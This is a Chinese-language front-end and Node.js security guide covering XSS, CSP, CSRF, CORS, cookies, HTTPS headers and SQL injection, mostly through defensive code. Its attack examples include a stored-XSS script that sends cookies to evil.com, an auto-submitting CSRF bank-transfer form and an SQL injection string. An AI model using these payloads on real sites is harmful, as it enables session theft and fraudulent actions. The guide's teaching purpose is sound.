跳转到内容

Web 安全防护与 XSS/CSRF 防御实战 2026 | 前端安全完全指南

Web 安全防护与 XSS/CSRF 防御实战

Web 安全是每个开发者必须重视的领域。本文将从 XSS、CSRF 两大经典攻击入手,系统讲解 CSP、CORS、Cookie 安全策略、HTTPS 配置及 Node.js 后端安全防护的完整方案。


一、XSS 跨站脚本攻击

1.1 XSS 类型

类型说明示例
反射型恶意代码在 URL 中,服务端反射到页面?q=<script>...</script>
存储型恶意代码存储在数据库,渲染时执行评论框注入脚本
DOM 型纯前端 JS 操作 DOM 引入innerHTML = userInput

1.2 攻击示例

html
<!-- 存储型 XSS:评论系统 -->
<!-- 攻击者在评论框输入: -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie)
</script>

<!-- 其他用户查看评论时,脚本执行,Cookie 被窃取 -->

<!-- 反射型 XSS:搜索页面 -->
<!-- URL: https://example.com/search?q=<script>alert('XSS')</script> -->
<!-- 服务端直接输出搜索词到 HTML: -->
<div>搜索结果:<?php echo $_GET['q']; ?></div>

<!-- DOM 型 XSS:前端渲染 -->
<div id="output"></div>
<script>
  const params = new URLSearchParams(location.search)
  document.getElementById('output').innerHTML = params.get('name')
</script>

1.3 XSS 防御方案

1. 输出编码(最重要)

typescript
// HTML 上下文编码
function escapeHtml(str: string): string {
  const map: Record<string, string> = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
    '/': '&#x2F;'
  }
  return str.replace(/[&<>"'/]/g, (char) => map[char])
}

// 在不同上下文中使用不同编码
// HTML 内容
element.textContent = userInput  // 自动编码

// 属性值
element.setAttribute('data-value', userInput)

// URL 参数
const url = `https://example.com?name=${encodeURIComponent(userInput)}`

2. 使用安全框架

typescript
// Vue 自动转义(默认安全)
// <template>{{ userInput }}</template> — 自动 HTML 编码

// React 自动转义(默认安全)
// <div>{userInput}</div> — 自动编码

// 避免使用 dangerouslySetInnerHTML / v-html
// React
const BadComponent = () => (
  <div dangerouslySetInnerHTML={{ __html: userInput }} /> // ❌ 危险
)

// Vue
// <div v-html="userInput"></div>  ❌ 危险

// 如果必须使用,先做净化
import DOMPurify from 'dompurify'

const SafeComponent = () => (
  <div dangerouslySetInnerHTML={{
    __html: DOMPurify.sanitize(userInput)  // ✅ 净化后再渲染
  }} />
)

3. DOMPurify 净化 HTML

typescript
import DOMPurify from 'dompurify'

// 基础净化
const clean = DOMPurify.sanitize(dirtyHtml)

// 自定义配置
const clean = DOMPurify.sanitize(dirtyHtml, {
  ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
  ALLOWED_ATTR: ['href', 'title', 'target', 'rel'],
  ALLOW_DATA_ATTR: false,
  FORBID_TAGS: ['script', 'style', 'iframe', 'object', 'embed'],
  FORBID_ATTR: ['onerror', 'onload', 'onclick'],
})

// 强制链接安全
DOMPurify.addHook('afterSanitizeAttributes', (node) => {
  if (node.tagName === 'A') {
    node.setAttribute('rel', 'noopener noreferrer')
    node.setAttribute('target', '_blank')
  }
})

4. HttpOnly Cookie

typescript
// 设置 Cookie 时添加 HttpOnly,JS 无法读取
res.cookie('session', token, {
  httpOnly: true,      // JS 无法通过 document.cookie 访问
  secure: true,        // 仅 HTTPS 传输
  sameSite: 'strict',  // 防止 CSRF
  maxAge: 3600000      // 1 小时过期
})

二、CSP 内容安全策略

2.1 CSP 配置

nginx
# Nginx 配置 CSP
add_header Content-Security-Policy "
  default-src 'self';
  script-src 'self' 'unsafe-inline' https://cdn.jsdelivr.net;
  style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
  img-src 'self' data: https: blob:;
  font-src 'self' https://fonts.gstatic.com;
  connect-src 'self' https://api.example.com wss://ws.example.com;
  media-src 'self';
  frame-src 'none';
  object-src 'none';
  base-uri 'self';
  form-action 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
  report-uri /api/csp-report;
" always;

2.2 nonce 模式

typescript
// Express 中间件:为每个请求生成 nonce
import crypto from 'crypto'

app.use((req, res, next) => {
  res.locals.nonce = crypto.randomBytes(16).toString('base64')
  res.setHeader('Content-Security-Policy', `
    default-src 'self';
    script-src 'self' 'nonce-${res.locals.nonce}';
    style-src 'self' 'nonce-${res.locals.nonce}';
  `)
  next()
})

// 在 HTML 中使用 nonce
app.get('/', (req, res) => {
  res.send(`
    <!DOCTYPE html>
    <html>
    <head>
      <script nonce="${res.locals.nonce}">
        console.log('This script is allowed by CSP')
      </script>
    </head>
    <body>
      <h1>Hello</h1>
    </body>
    </html>
  `)
})

2.3 CSP 报告收集

typescript
// 收集 CSP 违规报告
app.post('/api/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
  const report = req.body['csp-report']
  console.log('CSP Violation:', {
    'document-uri': report['document-uri'],
    'violated-directive': report['violated-directive'],
    'blocked-uri': report['blocked-uri'],
    'line-number': report['line-number'],
    'source-file': report['source-file'],
  })

  // 可以存储到数据库或发送到监控系统
  res.status(204).end()
})

三、CSRF 跨站请求伪造

3.1 攻击原理

1. 用户登录 bank.com,浏览器保存 Session Cookie
2. 用户访问 evil.com,页面包含:
   <form action="https://bank.com/transfer" method="POST">
     <input type="hidden" name="to" value="attacker">
     <input type="hidden" name="amount" value="10000">
   </form>
   <script>document.forms[0].submit()</script>
3. 表单自动提交,浏览器自动携带 bank.com 的 Cookie
4. 银行服务器认为是用户本人操作,执行转账

3.2 CSRF 防御方案

1. SameSite Cookie

typescript
// 最简单有效的防御方式
res.cookie('session', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',  // 或 'lax'
  // strict: 完全不发送第三方 Cookie
  // lax: 导航时发送 GET 请求的 Cookie(默认值)
})

// 现代浏览器默认 SameSite=Lax,已能防御大多数 CSRF

2. CSRF Token

typescript
// Express + csurf 中间件
import csrf from 'csurf'

const csrfProtection = csrf({ cookie: true })

// 在表单页面注入 token
app.get('/transfer', csrfProtection, (req, res) => {
  res.render('transfer', { csrfToken: req.csrfToken() })
})

// 表单中携带 token
// <form action="/transfer" method="POST">
//   <input type="hidden" name="_csrf" value="{{csrfToken}}">
//   ...
// </form>

// API 请求中携带 token(Header 方式)
// fetch('/transfer', {
//   headers: { 'X-CSRF-Token': csrfToken },
//   ...
// })
typescript
// Vue 前端集成 CSRF Token
import axios from 'axios'

// 从 meta 标签获取 token
const csrfToken = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')

// 配置 axios
axios.defaults.headers.common['X-CSRF-Token'] = csrfToken

// 或拦截器自动注入
axios.interceptors.request.use((config) => {
  const token = document.querySelector('meta[name="csrf-token"]')?.getAttribute('content')
  if (token) {
    config.headers['X-CSRF-Token'] = token
  }
  return config
})

3. Double Submit Cookie

typescript
// 1. 服务端设置 CSRF Cookie(非 HttpOnly)
app.use((req, res, next) => {
  const csrfToken = crypto.randomBytes(32).toString('hex')
  res.cookie('csrf-token', csrfToken, {
    httpOnly: false,  // 前端需要读取
    secure: true,
    sameSite: 'strict',
  })
  res.locals.csrfToken = csrfToken
  next()
})

// 2. 前端读取 Cookie 并放入请求头
async function apiRequest(url: string, options: RequestInit = {}) {
  const csrfToken = getCookie('csrf-token')  // 读取 Cookie
  return fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      'X-CSRF-Token': csrfToken,  // 放入 Header
    },
  })
}

// 3. 服务端验证:Cookie 中的 token 与 Header 中的必须一致
app.use((req, res, next) => {
  const cookieToken = req.cookies['csrf-token']
  const headerToken = req.headers['x-csrf-token']

  if (req.method !== 'GET' && cookieToken !== headerToken) {
    return res.status(403).json({ error: 'CSRF token mismatch' })
  }
  next()
})

四、CORS 跨域资源共享

4.1 CORS 配置

typescript
// Express CORS 配置
import cors from 'cors'

// 简单配置
app.use(cors({
  origin: 'https://example.com',  // 指定域名
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
  credentials: true,  // 允许携带 Cookie
  maxAge: 86400,      // 预检请求缓存 24 小时
}))

// 多域名配置
const allowedOrigins = [
  'https://example.com',
  'https://app.example.com',
  'https://admin.example.com',
]

app.use(cors({
  origin: (origin, callback) => {
    if (!origin || allowedOrigins.includes(origin)) {
      callback(null, true)
    } else {
      callback(new Error('Not allowed by CORS'))
    }
  },
  credentials: true,
}))

4.2 预检请求

typescript
// 处理 OPTIONS 预检请求
app.options('/api/*', cors())

// 自定义预检响应
app.options('/api/special', (req, res) => {
  res.set({
    'Access-Control-Allow-Origin': 'https://example.com',
    'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE',
    'Access-Control-Allow-Headers': 'Content-Type, Authorization, X-Custom-Header',
    'Access-Control-Max-Age': '86400',
    'Access-Control-Allow-Credentials': 'true',
  })
  res.status(204).end()
})

4.3 安全注意事项

typescript
// ❌ 危险:允许所有来源 + 携带凭证
app.use(cors({
  origin: '*',
  credentials: true,  // 浏览器会拒绝这个组合
}))

// ❌ 危险:反射 Origin
app.use(cors({
  origin: (origin, callback) => {
    callback(null, origin)  // 反射任何 Origin
  },
  credentials: true,
}))

// ✅ 安全:白名单模式
app.use(cors({
  origin: (origin, callback) => {
    const whitelist = ['https://example.com', 'https://app.example.com']
    if (whitelist.includes(origin)) {
      callback(null, true)
    } else {
      callback(new Error('CORS not allowed'))
    }
  },
  credentials: true,
}))

五、Cookie 安全

typescript
// 完整的安全 Cookie 设置
res.cookie('session', token, {
  httpOnly: true,       // JS 不可读(防 XSS 窃取)
  secure: true,         // 仅 HTTPS 传输
  sameSite: 'strict',   // 防 CSRF
  path: '/',
  domain: '.example.com',
  maxAge: 3600000,      // 1 小时
  // signed: true,      // 签名 Cookie(Express)
})

// Cookie 前缀
// __Host- 前缀:必须 Secure、Path=/、无 Domain
res.cookie('__Host-session', token, {
  httpOnly: true,
  secure: true,
  path: '/',
  sameSite: 'strict',
})

// __Secure- 前缀:必须 Secure
res.cookie('__Secure-token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
})

5.2 JWT 安全存储

typescript
// ❌ 不推荐:localStorage(XSS 可读取)
localStorage.setItem('token', jwtToken)

// ✅ 推荐:HttpOnly Cookie
res.cookie('token', jwtToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
})

// ✅ 如果用 Authorization Header(SPA)
// 需要配合严格的 CSP 策略
const token = sessionStorage.getItem('token')  // 比 localStorage 更短命
axios.defaults.headers.common['Authorization'] = `Bearer ${token}`

六、HTTPS 与安全头

6.1 HTTPS 配置

nginx
# Nginx HTTPS 配置
server {
    listen 443 ssl http2;
    server_name example.com;

    ssl_certificate /etc/ssl/certs/example.com.pem;
    ssl_certificate_key /etc/ssl/private/example.com.key;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256;
    ssl_prefer_server_ciphers off;
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 1d;
    ssl_session_tickets off;

    # HSTS:强制浏览器使用 HTTPS
    add_header Strict-Transport-Security "max-age=63072000; includeSubDomains; preload" always;
}

# HTTP 跳转 HTTPS
server {
    listen 80;
    server_name example.com;
    return 301 https://$server_name$request_uri;
}

6.2 安全响应头

typescript
// Express 使用 helmet 中间件
import helmet from 'helmet'

app.use(helmet())

// 自定义配置
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'", "'unsafe-inline'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
    },
  },
  crossOriginEmbedderPolicy: false,
  hsts: {
    maxAge: 63072000,
    includeSubDomains: true,
    preload: true,
  },
}))

// 手动设置安全头
app.use((req, res, next) => {
  res.setHeader('X-Content-Type-Options', 'nosniff')
  res.setHeader('X-Frame-Options', 'DENY')
  res.setHeader('X-XSS-Protection', '0')  // 现代浏览器已废弃,设 0
  res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin')
  res.setHeader('Permissions-Policy', 'geolocation=(), microphone=(), camera=()')
  res.setHeader('Cross-Origin-Opener-Policy', 'same-origin')
  res.setHeader('Cross-Origin-Resource-Policy', 'same-origin')
  next()
})

6.3 SRI 子资源完整性

html
<!-- 为外部脚本/样式添加完整性校验 -->
<script
  src="https://cdn.jsdelivr.net/npm/vue@3.4.0/dist/vue.global.prod.js"
  integrity="sha384-abc123..."
  crossorigin="anonymous">
</script>

<link
  rel="stylesheet"
  href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css"
  integrity="sha384-xyz789..."
  crossorigin="anonymous">

七、SQL 注入防御

typescript
// ❌ 危险:拼接 SQL
app.get('/users', (req, res) => {
  const name = req.query.name
  db.query(`SELECT * FROM users WHERE name = '${name}'`)
  // 攻击:?name=' OR '1'='1
  // 结果:SELECT * FROM users WHERE name = '' OR '1'='1
})

// ✅ 安全:参数化查询
app.get('/users', (req, res) => {
  const name = req.query.name
  db.query('SELECT * FROM users WHERE name = $1', [name])  // PostgreSQL
  // 或
  db.query('SELECT * FROM users WHERE name = ?', [name])   // MySQL
})

// ✅ 安全:使用 ORM/查询构建器
import { knex } from 'knex'

const users = await knex('users')
  .where('name', name)
  .select('*')

// ✅ 安全:Prisma ORM
const users = await prisma.user.findMany({
  where: { name: name }
})

八、Node.js 后端安全

8.1 输入验证

typescript
import { z } from 'zod'

// 使用 Zod 进行严格的输入验证
const userSchema = z.object({
  name: z.string().min(2).max(50),
  email: z.string().email(),
  age: z.number().int().min(18).max(120),
  role: z.enum(['user', 'admin']).default('user'),
})

app.post('/users', (req, res) => {
  const result = userSchema.safeParse(req.body)

  if (!result.success) {
    return res.status(400).json({
      error: 'Validation failed',
      details: result.error.flatten(),
    })
  }

  const { name, email, age, role } = result.data
  // 安全使用验证后的数据
})

// 文件上传验证
const upload = multer({
  limits: { fileSize: 5 * 1024 * 1024 },  // 5MB 限制
  fileFilter: (req, file, cb) => {
    const allowedTypes = ['image/jpeg', 'image/png', 'image/webp']
    if (allowedTypes.includes(file.mimetype)) {
      cb(null, true)
    } else {
      cb(new Error('Invalid file type'))
    }
  },
})

8.2 速率限制

typescript
import rateLimit from 'express-rate-limit'

// 全局速率限制
const limiter = rateLimit({
  windowMs: 15 * 60 * 1000,  // 15 分钟
  max: 100,                   // 每个 IP 最多 100 次请求
  standardHeaders: true,
  legacyHeaders: false,
  message: { error: 'Too many requests' },
})

app.use('/api/', limiter)

// 登录接口更严格限制
const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 5,  // 15 分钟内最多 5 次尝试
  message: { error: 'Too many login attempts' },
})

app.post('/api/login', loginLimiter, loginHandler)

8.3 安全头与Helmet

typescript
import helmet from 'helmet'

app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'", "'unsafe-inline'"],
      imgSrc: ["'self'", 'data:', 'https:'],
      connectSrc: ["'self'", 'https://api.example.com'],
    },
  },
  crossOriginEmbedderPolicy: true,
  crossOriginOpenerPolicy: { policy: 'same-origin' },
  crossOriginResourcePolicy: { policy: 'same-origin' },
  hsts: { maxAge: 63072000, includeSubDomains: true, preload: true },
  frameguard: { action: 'deny' },
  noSniff: true,
  referrerPolicy: { policy: 'strict-origin-when-cross-origin' },
}))

九、依赖安全

9.1 依赖审计

bash
# npm audit
npm audit
npm audit fix
npm audit fix --force

# pnpm audit
pnpm audit

# 使用 Snyk
npx snyk test
npx snyk monitor

9.2 自动化安全检查

yaml
# .github/workflows/security.yml
name: Security Audit

on: [push, pull_request, schedule]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: pnpm/action-setup@v3
        with: { version: 9 }
      - uses: actions/setup-node@v4
        with: { node-version: 20, cache: 'pnpm' }
      - run: pnpm install --frozen-lockfile
      - run: pnpm audit --audit-level=moderate
      - name: Run Snyk
        uses: snyk/actions/node@master
        with:
          command: test
        env:
          SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}

十、安全检查清单

10.1 前端安全清单

10.2 后端安全清单


十一、总结

  • ✅ XSS 攻击原理与防御(输出编码、DOMPurify、HttpOnly Cookie)
  • ✅ CSP 内容安全策略(指令配置、nonce 模式、报告收集)
  • ✅ CSRF 攻击原理与防御(SameSite Cookie、CSRF Token、Double Submit)
  • ✅ CORS 跨域配置(白名单模式、预检请求、安全注意事项)
  • ✅ Cookie 安全(安全属性、Cookie 前缀、JWT 存储)
  • ✅ HTTPS 与安全头(HSTS、helmet、SRI)
  • ✅ SQL 注入防御(参数化查询、ORM)
  • ✅ Node.js 后端安全(输入验证、速率限制、依赖审计)
  • ✅ 安全检查清单(前端 + 后端)

Web 安全是全栈工程师的核心能力,安全防护应该是系统设计的一部分,而非事后补充。


相关阅读: